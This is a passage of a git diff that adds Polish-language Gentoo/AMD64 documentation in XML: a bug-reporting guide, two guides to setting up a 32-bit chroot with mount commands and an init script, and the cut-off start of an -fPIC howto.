+  <ti>setenvif</ti>
+  <ti>
+    Pozwala na opisanie zapytań za pomocą zmiennych środowiskowych
+  </ti>
+</tr>
+<tr>
+  <ti>speling</ti>
+  <ti>
+    Próbuje poprawić źle wpisane adresy
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>Podaje informacje na temat aktywności i wydajności serwera</ti>
+</tr>
+<tr>
+  <ti>unique_id</ti>
+  <ti>
+    Nadaje unikalną zmienną dla każdego zapytania
+  </ti>
+</tr>
+<tr>
+  <ti>userdir</ti>
+  <ti>Pozwala użytkownikom na posiadanie katalogów domowych</ti>
+</tr>
+<tr>
+  <ti>usertrack</ti>
+  <ti>Logowanie aktywności użytkownika na stronie</ti>
+</tr>
+<tr>
+  <ti>version</ti>
+  <ti>Konfiguracja zależna od wersji</ti>
+</tr>
+<tr>
+  <ti>vhost_alias</ti>
+  <ti>Pozwala na dynamiczną konfigurację wielu wirtualnych domen</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/base/amd64/howtos/bugs.xml b/xml/htdocs/proj/pl/base/amd64/howtos/bugs.xml
new file mode 100644
index 00000000..22cbb40a
--- /dev/null
+++ b/xml/htdocs/proj/pl/base/amd64/howtos/bugs.xml
@@ -0,0 +1,146 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/base/amd64/howtos/bugs.xml,v 1.2 2006/04/06 15:47:54 rane Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-20</date>
+
+<section>
+<title>Jak zgłaszać błędy odkryte w Gentoo/AMD64</title>
+<body>
+
+<p>
+Na wstępie wielkie podziękowania za pomoc nad projektem Gentoo/AMD64. Rzetelne
+testy przeprowadzane na aplikacjach są dla nas bezcenne.  Poniższy tekst
+wyjaśnia jak zgłaszać błędy zamaskowanych aplikacji, przetestowanych w systemie
+Gentoo/AMD64.
+</p>
+
+</body>
+</section>
+<section>
+<title>Rejestracja</title>
+<body>
+
+<p>
+Najważniejszą rzeczą jest rejestracja w celu uzyskania ID na <uri
+link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zgłaszanie błędów</title>
+<body>
+
+<p>
+By poprawnie zgłosić błąd, należy postępować zgodnie z poniższymi instrukcjami:
+</p>
+
+<ul>
+  <li>
+    Wchodzimy na <uri
+    link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>.
+  </li>
+  <li>Klikamy na <c>Report A Bug</c> znajdujące się u góry strony</li>
+  <li>Wybieramy <c>Gentoo Linux</c> z dostępnej listy</li>
+  <li>Logujemy się używając konta założonego na bugs.gentoo.org</li>
+  <li>Sprawdzamy czy nasz błąd nie został już zgłoszony
+  <ul>
+    <li>
+      Wpisujemy <c>ALL</c> oraz nazwę ebuildu w pole tekstowe wyszukiwarki.
+      Należy zachować ostrożność, <c>ALL</c> piszemy drukowanymi literami.
+    </li>
+  </ul>
+  </li>
+</ul>
+
+<pre caption="Przykład">
+ALL k3b
+</pre>
+
+<ul>
+  <li>Kontynuujemy poszukiwanie naszego błędu
+  <ul>
+    <li>Klikamy na przycisk <c>Search</c>.</li>
+    <li>
+      Sprawdzamy czy ktoś nie zgłosił tego samego błędu zamaskowanej aplikacji
+      przed nami.
+    </li>
+    <li>W tej chwili ujrzymy dwie rzeczy.
+    <ul>
+      <li>Kolumna Plt powinna wskazywać <c>amd64</c>.</li>
+      <li>Kolumna Summary powinna wskazywać <e>working on amd64</e>.</li>
+    </ul>
+  </li>
+  <li>
+    Jeżeli nie chcemy zgłosić niczego odpowiedniego w polu wyszukiwania,
+    przechodzimy do kolejnego kroku. Tak czy inaczej, wiemy już wszystko o
+    aplikacji i nie potrzebujemy (nie powinniśmy) zgłaszać nowego raportu o
+    błędzie.
+  </li>
+  </ul>
+  </li>
+  <li>Zgłaszamy swoje informacje
+    <ul>
+      <li>Wybieramy <c>Ebuilds</c> dla opcji <e>Component</e>.</li>
+      <li>Wybieramy <c>amd64</c> dla opcji <e>Hardware Platform</e>.</li>
+      <li>
+        W polu tekstowym <e>Summary</e> wpisujemy streszczenie w formie:
+        ${kategoria}/${aplikacja}-${wersja} works on amd64.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Przykład">
+app-cdr/k3b-0.11.6 works on amd64
+</pre>
+
+<ul>
+  <li>Kontynuujemy przekazywanie informacji
+  <ul>
+    <li>
+      W polu <e>Description</e> wpisujemy krótki opis w formie: Please add
+      "~amd64" to the KEYWORDS for ${kategoria}/${aplikacja}-${wersja}.
+    </li>
+  </ul>
+  </li>
+</ul>
+
+<pre caption="Przykład">
+Please add "~amd64" to the KEYWORDS for app-cdr/k3b-0.11.6
+</pre>
+
+<ul>
+  <li>Kontynuujemy przekazywanie informacji
+  <ul>
+    <li>
+      Wklejamy informacje uzyskane poleceniem <c>emerge info</c> w pole
+      <e>Description</e>. Ten krok jest bardzo pomocny, gdyż przekazuje
+      informacje na temat środowiska w jakim pracujemy (np. flagi USE).
+    </li>
+    <li>
+      Wybieramy <c>Enhancement</c> z rozwijanej listy <e>Severity</e>. <e>Ważne
+      by nie wybierać tu żadnej innej opcji.  W razie potrzeby deweloperzy mogą
+      (i tak zrobią) zmienić niezgodne informacje w zgłaszanym przez nas
+      raporcie.</e>
+    </li>
+  </ul>
+  </li>
+  <li>Dwukrotnie sprawdzamy poprawność naszego raportu</li>
+  <li>Klikamy <c>Submit Bug Report</c> gdy raport będzie gotowy</li>
+</ul>
+
+<p>
+Dziękujemy za każde zgłoszenie!
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/base/amd64/howtos/chroot-old.xml b/xml/htdocs/proj/pl/base/amd64/howtos/chroot-old.xml
new file mode 100644
index 00000000..39eafe3d
--- /dev/null
+++ b/xml/htdocs/proj/pl/base/amd64/howtos/chroot-old.xml
@@ -0,0 +1,310 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/base/amd64/howtos/chroot-old.xml,v 1.2 2009/02/16 20:08:04 rane Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.3</version>
+<date>2008-12-26</date>
+
+<section>
+<title>Wprowadzenie</title>
+<subsection>
+<title>Wprowadzenie do 64-bitowego systemu</title>
+<body>
+
+<p>
+Przewodnik dla 32-bitowego chroota w Gentoo Linux pomaga ustawić prawdziwy
+32-bitowy chroot na systemie Gentoo/AMD64.
+</p>
+
+<p>
+Jak wiemy systemy 64-bitowe nie obsługują jeszcze 32-bitowych aplikacji
+(przynajmniej nie z Portage), więc będziemy musieli skorzystać z bibliotek
+emulacji by zmusić je do działania, bądź też stworzyć prawdziwy 32-bitowy
+system wewnątrz chroota, by zainstalować i uruchamiać 32-bitowe aplikacje. Dla
+zwykłych potrzeb nie musimy budować prawdziwego 32-bitowego systemu wewnątrz
+chroota. Jednakże, jeżeli chcemy uruchamiać aplikacje, które nie posiadają
+binariów umożliwiających pracę z 32-bitowymi bibliotekami, musimy skorzystać
+32-bitowego chroota. Przewodnik ten uczy jak utworzyć 32-bitowy chroot oraz
+jak zainstalować i uruchamiać w nim aplikacje.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Instalacja</title>
+<subsection>
+<title>Instalacja 32-bitowego chroota</title>
+<body>
+
+<p>
+By zainstalować 32-bitowy chroot podążamy radami jakimi kierujemy się podczas
+instalacji Gentoo Linux na systemie x86. W tej chwili potrzebujemy najnowszego
+stage3, dostępnego na <uri link="/main/en/mirrors.xml">serwerach lustrzanych
+Gentoo</uri>.
+</p>
+
+<pre caption="Ściąganie stage3">
+$ <i>cd /home/user/downloads</i>
+$ <i>wget -c http://distfiles.gentoo.org/releases/x86/2005.0/stages/athlon-xp/stage3-athlon-xp-2005.0.tar.bz2</i>
+</pre>
+
+<note>
+Należy zwrócić uwagę, że ściągamy wersję stage dla x86, <c>nie</c> dla AMD64.
+</note>
+
+<p>
+Po ukończeniu ściągania musimy stworzyć miejsce dla nowego chroota.
+</p>
+
+<pre caption="Tworzenie katalogu dla 32-bitowego chroota">
+$ <i>su root</i> <comment>wprowadzamy hasło root'a</comment>
+# <i>cd /mnt</i>
+# <i>mkdir gentoo32</i>
+</pre>
+
+<p>
+Następnie przenosimy ściągnięty stage, rozpakowujemy i instalujemy go według
+przykładu.
+</p>
+
+<pre caption="Instalacja ze stage3">
+# <i>cd /mnt/gentoo32</i>
+# <i>tar -xvjpf /home/user/downloads/stage3-athlon-xp-2005.0.tar.bz2</i>
+# <i>cp -L /etc/resolv.conf /mnt/gentoo32/etc/</i>
+# <i>cp -L /etc/passwd /mnt/gentoo32/etc/</i>
+</pre>
+
+<p>
+W tej chwili mamy gotowy do tworzenia chroot. Kolejny rozdział pokazuje jak to
+się odbywa.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Tworzenie</title>
+<subsection>
+<title>Tworzenie 32-bitowego chroota</title>
+<body>
+
+<p>
+Jeżeli nie napotkaliśmy żadnych błędów, możemy śmiało rozpocząć tworzenie i
+sfinalizować instalację 32-bitowego chroota.
+</p>
+
+<p>
+Kolejnym krokiem jest utworzenie nowego <c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+
+<pre caption="Konfiguracja nowego make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+Teraz montujemy różne fikcyjne systemy plików:
+</p>
+
+<pre caption="Montujemy wirtualne systemy plików">
+# <i>mount -o bind /dev /mnt/gentoo32/dev</i>
+# <i>mount -o bind /dev/pts /mnt/gentoo32/dev/pts</i>
+# <i>mount -o bind /dev/shm /mnt/gentoo32/dev/shm</i>
+# <i>mount -o bind /proc /mnt/gentoo32/proc</i>
+# <i>mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb</i>
+# <i>mount -o bind /sys /mnt/gentoo32/sys</i>
+</pre>
+
+<p>
+W tym momencie mamy prawdziwy 32-bitowy chroot zainstalowany na 64-bitowym
+systemie, który jest już praktycznie gotowy do użycia. Następnie musimy
+stworzyć link z portage dostępnego w 64-bitowym systemie do chroota. Dzięki
+temu można wykonać aktualizację w jednej instalacji dla obydwu systemów zamiast
+kopiować wiele danych.
+</p>
+
+<pre caption="Łączymy portage z /usr/portage wewnątrz 32-bitowego chroot'a">
+# <i>mkdir -p /mnt/gentoo32/usr/portage/</i>
+# <i>mount -o bind /usr/portage /mnt/gentoo32/usr/portage/</i>
+</pre>
+
+<note>
+Za każdym razem gdy wykonamy aktualizację Portage poleceniem emerge sync,
+uaktualnimy również portage 32-bitowego chrootaa.
+</note>
+
+<p>
+Jeżeli chcemy uruchomić 32-bitowe aplikacje wymagające X, musimy zamontować
+<path>/tmp</path>.
+</p>
+
+<pre caption="Montujemy /tmp dla aplikacji posiadających GUI">
+# <i>mount -o bind /tmp /mnt/gentoo32/tmp</i>
+</pre>
+
+<p>
+Teraz możemy przejść do wnętrza chroota.
+</p>
+
+<pre caption="Przechodzimy do środowiska utworzonego chroot'a">
+# <i>emerge --noreplace sys-apps/util-linux</i>
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+<comment>(Upewaniamy się czy nasza konfiguracja to i686)</comment>
+# <i>uname -m</i>
+Linux mysystem 2.6.12-gentoo-r1 #1 Mon Jun 27 02:41:55 GMT 2005 i686 AMD Athlon(tm) 64 Processor 3500+ AuthenticAMD GNU/Linux
+</pre>
+
+<warn>
+Narzędzie <c>linux32</c> jest potrzebne do zmiany wartości CHOST. Jeżeli je
+pominiemy, nie będzie możliwa kompilacja wewnątrz chroota.
+</warn>
+
+<p>
+W tej chwili mamy w swoich rękach 32-bitowy chroot gotowy do aktualizacji.
+Kolejne kroki przeprowadzą nas przez update.
+</p>
+
+<pre caption="Update nowego, 32-bitowego chroot'a">
+# <i>source /etc/profile</i>
+# <i>env-update</i>
+# <i>emerge -au world</i>
+</pre>
+
+<p>
+Po tej czynności mamy praktycznie gotowy 32-bitowy chroot. By dopasować
+wszystkie opcje, utworzymy nowy plik w 64-bitowym systemie, by udostępnić
+32-bitowy chroot podczas uruchamiania systemu.
+</p>
+
+<pre caption="Tworzymy nowy plik w /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bits chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bits chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bits chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null
+    umount -f /mnt/gentoo32/dev/shm >/dev/null
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bits chroot directories"
+}
+</pre>
+
+<p>
+Teraz wystarczy uruchomić <c>rc-update add gentoo32 default</c> by chroot
+odpalał się przy starcie.
+</p>
+
+<p>
+Jeżeli zechcemy przełączyć się do środowiska chroot, wystarczy skorzystać z
+następującej komendy: <c>linux32 chroot /mnt/gentoo32 /bin/bash</c>.
+</p>
+
+<p>
+Nasz 32-bitowy chroot jest w tej chwili przygotowany do instalacji nowych
+aplikacji.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Aplikacje</title>
+<subsection>
+<title>Instalowanie nowych aplikacji w chroot'cie</title>
+<body>
+
+<p>
+Teraz, kiedy mamy w pełni funkcjonalny 32-bitowy chroot, możemy zainstalować
+każdą 32-bitową aplikację. Sprawdźmy jak przebiega instalacja nowych pakietów.
+</p>
+
+<pre caption="Instalujemy foo wewnątrz chroot'a">
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+# <i>source /etc/profile</i>
+# <i>env-update</i>
+# <i>emerge foo</i>
+</pre>
+
+<note>
+Należy pamiętać o wykonaniu <c>source /etc/profile</c> oraz <c>env-update</c>
+po przełączeniu się na chroota.
+</note>
+
+<p>
+Zainstalowaliśmy nowy pakiet na 32-bitowym chroocie. Jeżeli chcemy go
+uruchomić, musimy zainicjować go wewnątrz chroota. Jeżeli chcemy uruchomić
+aplikację korzystającą z X, najlepszym rozwiązaniem jest <c>xhost</c>. Za
+każdym razem gdy chcemy uruchomić aplikację wykorzystującą X, wykonujemy
+następujące polecenie w naszym 64-bitowym systemie:
+</p>
+
+<pre caption="Xhost">
+# <i>xhost local:localhost</i>
+</pre>
+
+<p>
+Po tym przechodzimy z powrotem do chroota i możemy uruchamiać każdą aplikację
+wymagającą X, wcześniej skompilowaną wewnątrz chroota.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Podsumowanie</title>
+<subsection>
+<title>Podsumowanie poradnika</title>
+<body>
+
+<p>
+Dzięki chrootowi możemy instalować wiele pakietów normalnie dostępnych tylko
+dla systemów x86. Niektóre pakiety takie jak <c>OpenOffice</c> mogą zostać
+zainstalowane przy pomocy binariów dostępnych dla Gentoo/AMD64. Niektóre z
+kodeków dostępnych dla programu <c>MPlayer</c> również wymagają 32-bitowego
+chroota, więc umożliwia on instalację pakietu <c>win32codecs</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/base/amd64/howtos/chroot.xml b/xml/htdocs/proj/pl/base/amd64/howtos/chroot.xml
new file mode 100644
index 00000000..e426bed9
--- /dev/null
+++ b/xml/htdocs/proj/pl/base/amd64/howtos/chroot.xml
@@ -0,0 +1,320 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/base/amd64/howtos/chroot.xml,v 1.7 2009/02/16 20:09:12 rane Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<guide link="/proj/pl/base/amd64/howtos/chroot.xml" lang="pl" >
+<title>Jak ustawić 32-bitowego chroot'a</title>
+
+<author title="Autor">
+  <mail link="metalgod@gentoo.org">Luis Medinas</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="jakub.hudak@poczta.php.pl">Jakub Hudak</mail>
+</author>
+
+<abstract>
+Ten przewodnik opisuje tworzenie 32-bitowego chroota.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2008-12-26</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<title>Wprowadzenie do systemów 64-bitowych</title>
+<body>
+
+<p>
+Przewodnik Gentoo do instalacji 32-bitowego chroot'a pomaga ustawić prawdziwe
+32-bitowe środowisko na systemie Gentoo/AMD64.
+</p>
+
+<p>
+Wiemy, że obecnie systemy 64-bitowe nie pozwalają na uruchamianie aplikacji
+32-bitowych. Do tego tego potrzebne są biblioteki emulacyjne lub stworzenie
+prawdziwego 32-bitowego środowiska wewnątrz chroota, by móc uruchamiać 32-bitowe
+aplikacje. W większości przypadków nie potrzeba budować 32-bitowego systemu
+wewnątrz chroot. Jednak jeśli chcemy uruchomić aplikację, która nie ma binarki
+dostępnej dla bibliotek 32-bitowych, trzeba użyć 32-bitowego chroota. W tym
+tekście pokazujemy jak ustawić 32-bitowe środowisko wewnątrz chroota oraz jak
+instalować i uruchamiać aplikacje wewnątrz niego.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalacja</title>
+<section>
+<title>Instalacja 32-bitowego chroota</title>
+<body>
+
+<p>
+Instalacja 32-bitowego chroota jest przeprowadzana tak jak zwykła instalacja
+Gentoo na architekturę x86. Jest do niej potrzebne archiwum stage3 dostępne na
+naszych <uri link="http://www.gentoo.org/main/en/mirrors.xml">serwerach
+lustrzanych</uri>.
+</p>
+
+<pre caption="Pobieranie archiwum stage3 z serwerów lustrzanych gentoo">
+$ <i>cd /home/user/downloads</i>
+$ <i>wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2</i>
+</pre>
+
+<note>
+Należy pobrać archiwum stage3 dla architektury x86, a <c>nie</c> dla AMD64!
+</note>
+
+<p>
+Po pobraniu archiwum stage3 należy stworzyć nowy katalog i w nim zbudować nasz
+32-bitowy chroot.
+</p>
+
+<pre caption="Tworzenie katalogu dla 32-bitowego chroota">
+$ <i>su root</i> <comment>twoje hasło superużytkownika</comment>
+# <i>cd /mnt</i>
+# <i>mkdir gentoo32</i>
+</pre>
+
+<p>
+Następnie należy przenieść archiwum, które zostało ściągnięte, rozpakować
+zainstalować jak w poniższym przykładzie.
+</p>
+
+<pre caption="Instalowanie archiwum stage3">
+# <i>cd /mnt/gentoo32</i>
+# <i>tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2</i>
+# <i>cp -L /etc/resolv.conf /mnt/gentoo32/etc/</i>
+# <i>cp -L /etc/passwd /mnt/gentoo32/etc/</i>
+</pre>
+
+<p>
+W kolejnym rozdziale dokończymy konfigurację systemu.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Konfiguracja</title>
+<section>
+<title>Konfigurowanie 32-bitowego chroota</title>
+<body>
+
+<p>
+Rozpoczynamy konfigurację naszego chroota.
+</p>
+
+<p>
+Następnym krokiem jest utworzenie pliku <c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+
+<pre caption="Konfigurowacja pliku make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+Teraz montujemy wirtualne systemy plików:
+</p>
+
+<pre caption="Montowanie wirtualnych systemów plików">
+# <i>mount -o bind /dev /mnt/gentoo32/dev</i>
+# <i>mount -o bind /dev/pts /mnt/gentoo32/dev/pts</i>
+# <i>mount -o bind /dev/shm /mnt/gentoo32/dev/shm</i>
+# <i>mount -o bind /proc /mnt/gentoo32/proc</i>
+# <i>mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb</i>
+# <i>mount -o bind /sys /mnt/gentoo32/sys</i>
+</pre>
+
+<p>
+32-bitowe środowisko wewnątrz chroota jest już gotowe. Teraz stworzymy
+dowiązanie z portage z systemu 64-bitowego do tego wewnątrz chroota. Dzięki temu
+wystarczy jednorazowa aktualizacja portage zamiast podwójnej.
+</p>
+
+<pre caption="Montowanie portage do /usr/portage wewnątrz 32-bitowego chroota">
+# <i>mkdir -p /mnt/gentoo32/usr/portage/</i>
+# <i>mount -o bind /usr/portage /mnt/gentoo32/usr/portage/</i>
+</pre>
+
+<note>
+Za każdym razem przy aktualizacji drzewa Portage przez <c>emerge --sync</c>
+aktualizuje się również portage z 32-bitowego chroota
+</note>
+
+<p>
+Zamontowanie <path>/tmp</path> jest konieczne do uruchomienie 32-bitowych
+aplikacji używających X.
+</p>
+
+<pre caption="Montowanie /tmp dla aplikacji okienkowych">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+
+<p>
+Teraz czas na aktualizację środowiska wewnątrz chroota.
+</p>
+
+<pre caption="Zmiany wewnątrz chroota">
+# <i>emerge util-linux</i>
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+<comment>(Należy się upewnić, czy posiadamy wersję dla architektury x86)</comment>
+# <i>uname -m</i>
+i686
+</pre>
+
+<warn>
+Narzędzie <c>linux32</c> jest niezbędne do zmiany wartości zmiennej CHOST. Jeśli
+zapomnimy dodać je przed komendą chroot, najprawdopodobniej nie będzie możliwa
+kompilacja wewnątrz chroot.
+</warn>
+
+<p>
+Nowy 32-bitowy chroot jest gotowy do aktualizacji.
+</p>
+
+<pre caption="Aktualizacja 32-bitowego chroot'a">
+# <i>source /etc/profile</i>
+# <i>env-update</i>
+# <i>emerge -au world</i>
+</pre>
+
+<p>
+32-bitowe środowisko jest gotowe do pracy. Aby ułatwić uruchamianie chroot,
+napiszmy plik, który będzie montować katalogi i wirtualne systemy plików dla
+32-bitowego chroota podczas uruchamiania systemu 64-bitowego.
+</p>
+
+<pre caption="Tworzenie nowego pliku w /etc/init.d">
+# <i>nano -w /etc/init.d/gentoo32</i>
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bit chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bit chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bit chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null
+    umount -f /mnt/gentoo32/dev/shm >/dev/null
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bit chroot directories"
+}
+</pre>
+
+<p>
+Teraz wystarczy wykonać polecenie <c>rc-update add gentoo32 default</c>, by
+skrypt uruchamiał się podczas domyślnego poziomu startowego.
+</p>
+
+<p>
+By zmienić środowisko z 64 na 32-bitowe wystarczy wykonać polecenie: <c>linux32
+chroot /mnt/gentoo32 /bin/bash</c>.
+</p>
+
+<p>
+Teraz 32-bitowe środowisko jest gotowe, by instalować nowe aplikacje.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aplikacje</title>
+<section>
+<title>Instalacja aplikacji wewnątrz chroota</title>
+<body>
+
+<p>
+Teraz chroot jest w pełni funkcjonalny, można w nim zainstalować każdą aplikację
+w wersji 32-bitowej. Poniższy przykład pokazuje instalację pakietu foo po
+chroot.
+</p>
+
+<pre caption="Instalowanie foo po chroot">
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+# <i>source /etc/profile</i>
+# <i>env-update</i>
+# <i>emerge foo</i>
+</pre>
+
+<note>
+Po każdym wejściu do chroota należy wykonać polecenie <c>source /etc/profile
+&amp;&amp; env-update</c>.
+</note>
+
+<p>
+Teraz można już instalować i uruchamiać 32-bitowe aplikacje w chroocie. Jeśli są
+oparte na X, trzeba korzystać z programu <c>xhost</c>. Przed uruchomieniem
+takiego programu trzeba poza środowiskiem wpisać:
+</p>
+
+<pre caption="Polecenie xhost">
+# <i>xhost local:localhost</i>
+</pre>
+
+<p>
+Następnie należy wejść do chroota i uruchomić tam dany program.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zakończenie</title>
+<section>
+<title>Zakończenie tego podręcznika</title>
+<body>
+
+<p>
+Za pomocą chroota można instalować wiele pakietów dostępnych tylko dla
+architektury x86. Niektóre pakiety, takie jak <c>OpenOffice</c>, można
+zainstalować używając wersji binarnych dla Gentoo/AMD64. Niektóre kodeki
+dostępne dla programu <c>MPlayer</c> wymagają użycia 32-bitowego chroota do
+instalacji, np. <c>win32codecs</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/base/amd64/howtos/fpic-howto.xml b/xml/htdocs/proj/pl/base/amd64/howtos/fpic-howto.xml
new file mode 100644
index 00000000..dca7c2d0
--- /dev/null
+++ b/xml/htdocs/proj/pl/base/amd64/howtos/fpic-howto.xml
@@ -0,0 +1,226 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/base/amd64/howtos/fpic-howto.xml,v 1.1 2008/01/19 02:04:24 rane Exp $ -->
+
+<sections>
+
+<version>1.2</version>
+<date>2006-07-23</date>
+
+<section>
+<title>Problem</title>
+<body>
+
+<p>
+Czasami gcc zgłasza następujący błąd podczas kompilacji kodu:
+</p>
+
+<pre caption="Typowy błąd zgłaszany przez gcc">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not read
+symbols: Bad value
+</pre>
+
+<p>
+W tym tekście omówimy wszystkie możliwe przyczyny pojawienia się takiego błędu.
+</p>
+
+</body>
+</section>
+<section>
+<title>Co to jest PIC?</title>
+<body>
+
+<p>
+PIC to skrót od <e>Position-Independent Code</e> (pol. kod niezależny od
